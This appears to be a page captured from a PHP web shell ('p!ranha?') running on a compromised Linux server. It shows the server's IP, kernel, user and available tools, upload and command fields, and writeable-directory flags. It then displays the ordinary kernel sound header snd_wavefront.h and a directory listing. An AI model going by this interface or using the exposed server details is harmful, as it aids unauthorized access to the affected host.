p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/sound/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/sound/snd_wavefront.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __SOUND_SND_WAVEFRONT_H__
#define __SOUND_SND_WAVEFRONT_H__

#include <sound/mpu401.h>
#include <sound/hwdep.h>
#include <sound/rawmidi.h>
#include <sound/wavefront.h>  /* generic OSS/ALSA/user-level wavefront header */

/* MIDI interface */

struct _snd_wavefront_midi;
struct _snd_wavefront_card;
struct _snd_wavefront;

typedef struct _snd_wavefront_midi snd_wavefront_midi_t;
typedef struct _snd_wavefront_card snd_wavefront_card_t;
typedef struct _snd_wavefront snd_wavefront_t;

typedef enum { internal_mpu = 0, external_mpu = 1 } snd_wavefront_mpu_id;

struct _snd_wavefront_midi {
        unsigned long            base;        /* I/O port address */
	char                     isvirtual;   /* doing virtual MIDI stuff ? */
	char			 istimer;     /* timer is used */
        snd_wavefront_mpu_id     output_mpu;  /* most-recently-used */
        snd_wavefront_mpu_id     input_mpu;   /* most-recently-used */
        unsigned int             mode[2];     /* MPU401_MODE_XXX */
	struct snd_rawmidi_substream	 *substream_output[2];
	struct snd_rawmidi_substream	 *substream_input[2];
	struct timer_list	 timer;
        spinlock_t               open;
        spinlock_t               virtual;     /* protects isvirtual */
};

#define	OUTPUT_READY	0x40
#define	INPUT_AVAIL	0x80
#define	MPU_ACK		0xFE
#define	UART_MODE_ON	0x3F

extern struct snd_rawmidi_ops snd_wavefront_midi_output;
extern struct snd_rawmidi_ops snd_wavefront_midi_input;

extern void   snd_wavefront_midi_enable_virtual (snd_wavefront_card_t *);
extern void   snd_wavefront_midi_disable_virtual (snd_wavefront_card_t *);
extern void   snd_wavefront_midi_interrupt (snd_wavefront_card_t *);
extern int    snd_wavefront_midi_start (snd_wavefront_card_t *);

struct _snd_wavefront {
	unsigned long    irq;   /* "you were one, one of the few ..." */
	unsigned long    base;  /* low i/o port address */
	struct resource	 *res_base; /* i/o port resource allocation */

#define mpu_data_port    base 
#define mpu_command_port base + 1 /* write semantics */
#define mpu_status_port  base + 1 /* read semantics */
#define data_port        base + 2 
#define status_port      base + 3 /* read semantics */
#define control_port     base + 3 /* write semantics  */
#define block_port       base + 4 /* 16 bit, writeonly */
#define last_block_port  base + 6 /* 16 bit, writeonly */

	/* FX ports. These are mapped through the ICS2115 to the YS225.
	   The ICS2115 takes care of flipping the relevant pins on the
	   YS225 so that access to each of these ports does the right
	   thing. Note: these are NOT documented by Turtle Beach.
	*/

#define fx_status       base + 8 
#define fx_op           base + 8 
#define fx_lcr          base + 9 
#define fx_dsp_addr     base + 0xa
#define fx_dsp_page     base + 0xb 
#define fx_dsp_lsb      base + 0xc 
#define fx_dsp_msb      base + 0xd 
#define fx_mod_addr     base + 0xe
#define fx_mod_data     base + 0xf 

	volatile int irq_ok;               /* set by interrupt handler */
        volatile int irq_cnt;              /* ditto */
	char debug;                        /* debugging flags */
	int freemem;                       /* installed RAM, in bytes */ 

	char fw_version[2];                /* major = [0], minor = [1] */
	char hw_version[2];                /* major = [0], minor = [1] */
	char israw;                        /* needs Motorola microcode */
	char has_fx;                       /* has FX processor (Tropez+) */
	char fx_initialized;               /* FX's register pages initialized */
	char prog_status[WF_MAX_PROGRAM];  /* WF_SLOT_* */
	char patch_status[WF_MAX_PATCH];   /* WF_SLOT_* */
	char sample_status[WF_MAX_SAMPLE]; /* WF_ST_* | WF_SLOT_* */
	int samples_used;                  /* how many */
	char interrupts_are_midi;          /* h/w MPU interrupts enabled ? */
	char rom_samples_rdonly;           /* can we write on ROM samples */
	spinlock_t irq_lock;
	wait_queue_head_t interrupt_sleeper; 
	snd_wavefront_midi_t midi;         /* ICS2115 MIDI interface */
	struct snd_card *card;
};

struct _snd_wavefront_card {
	snd_wavefront_t wavefront;
#ifdef CONFIG_PNP
	struct pnp_dev *wss;
	struct pnp_dev *ctrl;
	struct pnp_dev *mpu;
	struct pnp_dev *synth;
#endif /* CONFIG_PNP */
};

extern void snd_wavefront_internal_interrupt (snd_wavefront_card_t *card);
extern int  snd_wavefront_detect_irq (snd_wavefront_t *dev) ;
extern int  snd_wavefront_check_irq (snd_wavefront_t *dev, int irq);
extern int  snd_wavefront_restart (snd_wavefront_t *dev);
extern int  snd_wavefront_start (snd_wavefront_t *dev);
extern int  snd_wavefront_detect (snd_wavefront_card_t *card);
extern int  snd_wavefront_config_midi (snd_wavefront_t *dev) ;
extern int  snd_wavefront_cmd (snd_wavefront_t *, int, unsigned char *,
			       unsigned char *);

extern int snd_wavefront_synth_ioctl   (struct snd_hwdep *, 
					struct file *,
					unsigned int cmd, 
					unsigned long arg);
extern int  snd_wavefront_synth_open    (struct snd_hwdep *, struct file *);
extern int  snd_wavefront_synth_release (struct snd_hwdep *, struct file *);

/* FX processor - see also yss225.[ch] */

extern int  snd_wavefront_fx_start  (snd_wavefront_t *);
extern int  snd_wavefront_fx_detect (snd_wavefront_t *);
extern int  snd_wavefront_fx_ioctl  (struct snd_hwdep *, 
				     struct file *,
				     unsigned int cmd, 
				     unsigned long arg);
extern int snd_wavefront_fx_open    (struct snd_hwdep *, struct file *);
extern int snd_wavefront_fx_release (struct snd_hwdep *, struct file *);

/* prefix in all snd_printk() delivered messages */

#define LOGNAME "WaveFront: "

#endif  /* __SOUND_SND_WAVEFRONT_H__ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ac97_codec.h
28.204 KB
November 06 2023 09:15:52
0 / 0
0644
aci.h
2.4 KB
November 06 2023 09:15:52
0 / 0
0644
ad1816a.h
5.441 KB
November 06 2023 09:15:52
0 / 0
0644
ad1843.h
1.48 KB
November 06 2023 09:15:52
0 / 0
0644
aess.h
1.629 KB
November 06 2023 09:15:52
0 / 0
0644
ak4113.h
10.895 KB
November 06 2023 09:15:52
0 / 0
0644
ak4114.h
10.223 KB
November 06 2023 09:15:52
0 / 0
0644
ak4117.h
9.021 KB
November 06 2023 09:15:52
0 / 0
0644
ak4531_codec.h
3.099 KB
November 06 2023 09:15:52
0 / 0
0644
ak4xxx-adda.h
3.336 KB
November 06 2023 09:15:52
0 / 0
0644
asequencer.h
3.584 KB
November 06 2023 09:15:52
0 / 0
0644
asound.h
1.255 KB
November 06 2023 09:15:52
0 / 0
0644
asoundef.h
16.697 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-abdac.h
0.624 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-ac97c.h
1.389 KB
November 06 2023 09:15:52
0 / 0
0644
compress_driver.h
7.156 KB
November 06 2023 09:15:52
0 / 0
0644
control.h
8.821 KB
November 06 2023 09:15:52
0 / 0
0644
core.h
13.505 KB
November 06 2023 09:15:52
0 / 0
0644
cs4231-regs.h
8.281 KB
November 06 2023 09:15:52
0 / 0
0644
cs8403.h
8.626 KB
November 06 2023 09:15:52
0 / 0
0644
cs8427.h
10.399 KB
November 06 2023 09:15:52
0 / 0
0644
da7213.h
1.15 KB
November 06 2023 09:15:52
0 / 0
0644
da7219-aad.h
2.418 KB
November 06 2023 09:15:52
0 / 0
0644
da7219.h
1.067 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1.h
89.427 KB
November 06 2023 09:15:52
0 / 0
0644
emu10k1_synth.h
1.35 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000.h
4.013 KB
November 06 2023 09:15:52
0 / 0
0644
emu8000_reg.h
10.214 KB
November 06 2023 09:15:52
0 / 0
0644
emux_legacy.h
5.374 KB
November 06 2023 09:15:52
0 / 0
0644
emux_synth.h
7.458 KB
November 06 2023 09:15:52
0 / 0
0644
es1688.h
3.561 KB
November 06 2023 09:15:52
0 / 0
0644
gus.h
20.262 KB
November 06 2023 09:15:52
0 / 0
0644
hda_chmap.h
2.598 KB
November 06 2023 09:15:52
0 / 0
0644
hda_codec.h
17.206 KB
November 06 2023 09:15:52
0 / 0
0644
hda_component.h
1.871 KB
November 06 2023 09:15:52
0 / 0
0644
hda_hwdep.h
1.379 KB
November 06 2023 09:15:52
0 / 0
0644
hda_i915.h
0.575 KB
November 06 2023 09:15:52
0 / 0
0644
hda_register.h
10.118 KB
November 06 2023 09:15:52
0 / 0
0644
hda_regmap.h
6.593 KB
November 06 2023 09:15:52
0 / 0
0644
hda_verbs.h
16.891 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio.h
19.89 KB
November 06 2023 09:15:52
0 / 0
0644
hdaudio_ext.h
7.064 KB
November 06 2023 09:15:52
0 / 0
0644
hwdep.h
2.563 KB
November 06 2023 09:15:52
0 / 0
0644
i2c.h
3.472 KB
November 06 2023 09:15:52
0 / 0
0644
info.h
8.541 KB
November 06 2023 09:15:52
0 / 0
0644
initval.h
3.084 KB
November 06 2023 09:15:52
0 / 0
0644
jack.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
max98090.h
0.736 KB
November 06 2023 09:15:52
0 / 0
0644
memalloc.h
4.438 KB
November 06 2023 09:15:52
0 / 0
0644
minors.h
4.329 KB
November 06 2023 09:15:52
0 / 0
0644
mixer_oss.h
2.41 KB
November 06 2023 09:15:52
0 / 0
0644
mpu401.h
4.492 KB
November 06 2023 09:15:52
0 / 0
0644
opl3.h
12.312 KB
November 06 2023 09:15:52
0 / 0
0644
opl4.h
1.1 KB
November 06 2023 09:15:52
0 / 0
0644
pcm-indirect.h
5.696 KB
November 06 2023 09:15:52
0 / 0
0644
pcm.h
47.436 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_drm_eld.h
0.179 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_iec958.h
0.324 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_oss.h
2.693 KB
November 06 2023 09:15:52
0 / 0
0644
pcm_params.h
8.62 KB
November 06 2023 09:15:52
0 / 0
0644
pt2258.h
1.177 KB
November 06 2023 09:15:52
0 / 0
0644
rawmidi.h
6.35 KB
November 06 2023 09:15:52
0 / 0
0644
rt286.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
rt298.h
0.507 KB
November 06 2023 09:15:52
0 / 0
0644
rt5514.h
0.532 KB
November 06 2023 09:15:52
0 / 0
0644
rt5640.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
rt5645.h
0.792 KB
November 06 2023 09:15:52
0 / 0
0644
rt5651.h
0.773 KB
November 06 2023 09:15:52
0 / 0
0644
rt5663.h
0.607 KB
November 06 2023 09:15:52
0 / 0
0644
rt5670.h
0.637 KB
November 06 2023 09:15:52
0 / 0
0644
sb.h
11.036 KB
November 06 2023 09:15:52
0 / 0
0644
sb16_csp.h
2.715 KB
November 06 2023 09:15:52
0 / 0
0644
seq_device.h
2.79 KB
November 06 2023 09:15:52
0 / 0
0644
seq_kernel.h
4.096 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_emul.h
7.262 KB
November 06 2023 09:15:52
0 / 0
0644
seq_midi_event.h
1.997 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss.h
2.862 KB
November 06 2023 09:15:52
0 / 0
0644
seq_oss_legacy.h
1.003 KB
November 06 2023 09:15:52
0 / 0
0644
seq_virmidi.h
2.749 KB
November 06 2023 09:15:52
0 / 0
0644
sh_dac_audio.h
0.573 KB
November 06 2023 09:15:52
0 / 0
0644
snd_wavefront.h
5.523 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi-intel-match.h
1.098 KB
November 06 2023 09:15:52
0 / 0
0644
soc-acpi.h
3.726 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dai.h
11.201 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dapm.h
30.688 KB
November 06 2023 09:15:52
0 / 0
0644
soc-dpcm.h
4.729 KB
November 06 2023 09:15:52
0 / 0
0644
soc-topology.h
5.666 KB
November 06 2023 09:15:52
0 / 0
0644
soc.h
63.288 KB
November 06 2023 09:15:52
0 / 0
0644
soundfont.h
4.484 KB
November 06 2023 09:15:52
0 / 0
0644
tea575x-tuner.h
2.614 KB
November 06 2023 09:15:52
0 / 0
0644
tea6330t.h
1.136 KB
November 06 2023 09:15:52
0 / 0
0644
timer.h
5.557 KB
November 06 2023 09:15:52
0 / 0
0644
tlv.h
2.268 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic32x4.h
0.879 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320aic3x.h
1.878 KB
November 06 2023 09:15:52
0 / 0
0644
tlv320dac33-plat.h
0.703 KB
November 06 2023 09:15:52
0 / 0
0644
util_mem.h
2.258 KB
November 06 2023 09:15:52
0 / 0
0644
vx_core.h
15.343 KB
November 06 2023 09:15:52
0 / 0
0644
wavefront.h
18.757 KB
November 06 2023 09:15:52
0 / 0
0644
wss.h
8.513 KB
November 06 2023 09:15:52
0 / 0
0644